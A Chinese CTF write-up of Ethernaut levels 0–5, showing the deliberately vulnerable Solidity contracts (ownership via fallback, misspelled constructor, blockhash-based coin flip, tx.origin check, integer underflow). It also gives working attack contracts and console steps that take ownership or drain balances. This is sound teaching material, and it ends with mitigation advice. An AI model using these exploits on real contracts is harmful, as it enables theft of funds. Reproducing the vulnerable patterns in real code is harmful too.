区块链安全 - Ethernaut 0-5 (一)

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2022年2月21日09:45:48评论48 views字数 7335阅读24分27秒阅读模式

区块链安全 - Ethernaut 0-5 (一)

0.Hello Ethernaut🐑

区块链安全 - Ethernaut 0-5 (一)

题目源码

// SPDX-License-Identifier: MITpragma solidity ^0.6.0;
contract Instance {
  string public password;  uint8 public infoNum = 42;  string public theMethodName = 'The method name is method7123949.';  bool private cleared = false;
  // constructor  constructor(string memory _password) public {    password = _password;  }
  function info() public pure returns (string memory) {    return 'You will find what you need in info1().';  }
  function info1() public pure returns (string memory) {    return 'Try info2(), but with "hello" as a parameter.';  }
  function info2(string memory param) public pure returns (string memory) {    if(keccak256(abi.encodePacked(param)) == keccak256(abi.encodePacked('hello'))) {      return 'The property infoNum holds the number of the next info method to call.';    }    return 'Wrong parameter.';  }
  function info42() public pure returns (string memory) {    return 'theMethodName is the name of the next method.';  }
  function method7123949() public pure returns (string memory) {    return 'If you know the password, submit it to authenticate().';  }
  function authenticate(string memory passkey) public {    if(keccak256(abi.encodePacked(passkey)) == keccak256(abi.encodePacked(password))) {      cleared = true;    }  }
  function getCleared() public view returns (bool) {    return cleared;  }}

主要是了解使用方法和基本操作

await contract.info()// "You will find what you need in info1()."await contract.info1()// "Try info2(), but with "hello" as a parameter."await contract.info2('hello')// "The property infoNum holds the number of the next info method to call."await contract.infoNum()// 42await contract.info42()// "theMethodName is the name of the next method."await contract.theMethodName()// "The method name is method7123949."await contract.method7123949()// "If you know the password, submit it to authenticate()."await contract.password()// "ethernaut0"await contract.authenticate('ethernaut0')

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1.Fallback🐇

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题目源码

// SPDX-License-Identifier: MITpragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
contract Fallback {
  using SafeMath for uint256;  mapping(address => uint) public contributions;  address payable public owner;
  constructor() public {    owner = msg.sender;    contributions[msg.sender] = 1000 * (1 ether);  }
  modifier onlyOwner {        require(            msg.sender == owner,            "caller is not the owner"        );        _;    }
  function contribute() public payable {    require(msg.value < 0.001 ether);    contributions[msg.sender] += msg.value;    if(contributions[msg.sender] > contributions[owner]) {      owner = msg.sender;    }  }
  function getContribution() public view returns (uint) {    return contributions[msg.sender];  }
  function withdraw() public onlyOwner {    owner.transfer(address(this).balance);  }
  receive() external payable {    require(msg.value > 0 && contributions[msg.sender] > 0);    owner = msg.sender;  }}

注意两个部分

// 记录用户地址对合约的贡献量，当用户当前的贡献值大于 owner(定义为1000)，获得 owner权限function contribute() public payable {    require(msg.value < 0.001 ether);    contributions[msg.sender] += msg.value;    if(contributions[msg.sender] > contributions[owner]) {      owner = msg.sender;    }  }

// fallback函数，当使用 send() 方法发送数据给合约时总会调用该方法// 定义参考文章：https://me.tryblockchain.org/blockchain-solidity-fallback.htmlreceive() external payable {    require(msg.value > 0 && contributions[msg.sender] > 0);    owner = msg.sender;  }

思路如下

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攻击合约部署

// SPDX-License-Identifier: MITpragma solidity ^0.6.0;
import "./debug.sol";
contract Attack is Fallback {
  address payable addr = 0x67C2b4b52c4246BB32C200B475062e7882DB265D;  Fallback att = Fallback(addr);
  function obtain_owner() public payable {   payable(addr).send(msg.value);  }}

调用 contribute方法发送 1 wei

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使用 send() 方法发送 1 wei，触发 fallback

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调用后查看 owner权限，已经成功获取

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最后调用 withdraw方法完成关卡

2.Fallout🐋

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题目源码

// SPDX-License-Identifier: MITpragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
contract Fallout {    using SafeMath for uint256;  mapping (address => uint) allocations;  address payable public owner;

  /* constructor */  function Fal1out() public payable {    owner = msg.sender;    allocations[owner] = msg.value;  }
  modifier onlyOwner {          require(              msg.sender == owner,              "caller is not the owner"          );          _;      }
  function allocate() public payable {    allocations[msg.sender] = allocations[msg.sender].add(msg.value);  }
  function sendAllocation(address payable allocator) public {    require(allocations[allocator] > 0);    allocator.transfer(allocations[allocator]);  }
  function collectAllocations() public onlyOwner {    msg.sender.transfer(address(this).balance);  }
  function allocatorBalance(address allocator) public view returns (uint) {    return allocations[allocator];  }}

我们可以注意到构造函数 Fallout 被写成了 Fal1out，导致该函数不是构造函数，可以直接调用获取 owner权限

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调用方法即可获取权限

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3.Coin Flip🐋

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题目源码

// SPDX-License-Identifier: MITpragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
contract CoinFlip {
  using SafeMath for uint256;  uint256 public consecutiveWins;  uint256 lastHash;  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
  constructor() public {    consecutiveWins = 0;  }
  function flip(bool _guess) public returns (bool) {    uint256 blockValue = uint256(blockhash(block.number.sub(1)));
    if (lastHash == blockValue) {      revert();    }
    lastHash = blockValue;    uint256 coinFlip = blockValue.div(FACTOR);    bool side = coinFlip == 1 ? true : false;
    if (side == _guess) {      consecutiveWins++;      return true;    } else {      consecutiveWins = 0;      return false;    }  }}

这里通过计算上一区块的信息与一个固定的数值相计算，就不存在随机的情况了，除了第一次的上一区块随机，其他均为可知的值

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直接使用原合约的计算方法，部署攻击合约

contract Attack {  using SafeMath for uint256;  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
  address addr = 0x36D583674B7afE99c0c8FDE510BbA46ec7b96531;  CoinFlip coin = CoinFlip(addr);
  function attack() public{    uint256 blockValue = uint256(blockhash(block.number.sub(1)));    uint256 coinFlip = blockValue.div(FACTOR);    bool side = coinFlip == 1 ? true : false;    coin.flip(side);  }}

调用10次完成关卡

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通过solidity产生随机数没有那么容易. 目前没有一个很自然的方法来做到这一点, 而且你在智能合约中做的所有事情都是公开可见的, 包括本地变量和被标记为私有的状态变量. 矿工可以控制 blockhashes, 时间戳, 或是是否包括某个交易, 这可以让他们根据他们目的来左右这些事情.想要获得密码学上的随机数,你可以使用 Chainlink VRF, 它使用预言机, LINK token, 和一个链上合约来检验这是不是真的是一个随机数.一些其它的选项包括使用比特币block headers (通过验证 BTC Relay), RANDAO, 或是 Oraclize).

4.Telephone🐋

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题目源码

// SPDX-License-Identifier: MITpragma solidity ^0.6.0;
contract Telephone {
  address public owner;
  constructor() public {    owner = msg.sender;  }
  function changeOwner(address _owner) public {    if (tx.origin != msg.sender) {      owner = _owner;    }  }}

这里需要区分 tx.origin 和 msg.sender ，msg.sender是函数的直接调用方，

而 tx.origin 则必然是这个交易的原始发起方，无论中间有多少次合约内/跨合约函数调用，一定是账户地址而不是合约地址。

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回到代码块中, 需要做到的是 tx.origin != msg.sender

function changeOwner(address _owner) public {    if (tx.origin != msg.sender) {      owner = _owner;    }  }

如上图，我们只需要部署一个第三方合约A调用目标合约B，就可以通过判断获取 owner权限

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5.Token🦉

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题目源码

// SPDX-License-Identifier: MITpragma solidity ^0.6.0;
contract Token {
  mapping(address => uint) balances;  uint public totalSupply;
  constructor(uint _initialSupply) public {    balances[msg.sender] = totalSupply = _initialSupply;  }
  function transfer(address _to, uint _value) public returns (bool) {    require(balances[msg.sender] - _value >= 0);    balances[msg.sender] -= _value;    balances[_to] += _value;    return true;  }
  function balanceOf(address _owner) public view returns (uint balance) {    return balances[_owner];  }}

根据题目提示我们默认含有20代币，注意一下 transfer方法

// 向某地址转移代币，且需要通过require的大于0的检测function transfer(address _to, uint _value) public returns (bool) {    require(balances[msg.sender] - _value >= 0);    balances[msg.sender] -= _value;    balances[_to] += _value;    return true;  }

以太坊虚拟机（EVM）为整数指定固定大小的数据类型。这意味着一个整形变量只能表达一定范围的数字。

例如，uint8，只能存储[0,255]之间的数字，如果想存储256，那么就会上溢，从而将变量的值变为0。相对应的，如果从一个uint8类型的值为0的变量中减1，就会发生下溢，该变量会变成255。

所以我们需要通过下溢出来完成攻击

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部署合约后可以看到默认20代币，产生下溢我们就可以向任意地址转移 21代币，发生下溢

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Overflow 在 solidity 中非常常见, 你必须小心检查, 比如下面这样:
if(a + c > a) {  a = a + c;}另一个简单的方法是使用 OpenZeppelin 的 SafeMath 库, 它会自动检查所有数学运算的溢出, 可以像这样使用:
a = a.add(c);如果有溢出, 代码会自动恢复.

关于文库🦉

https://www.yuque.com/peiqiwiki

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最后

下面就是文库的公众号啦，更新的文章都会在第一时间推送在交流群和公众号

想要加入交流群的师傅公众号点击交流群加我拉你啦~

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原文始发于微信公众号（PeiQi文库）：区块链安全 - Ethernaut 0-5 (一)

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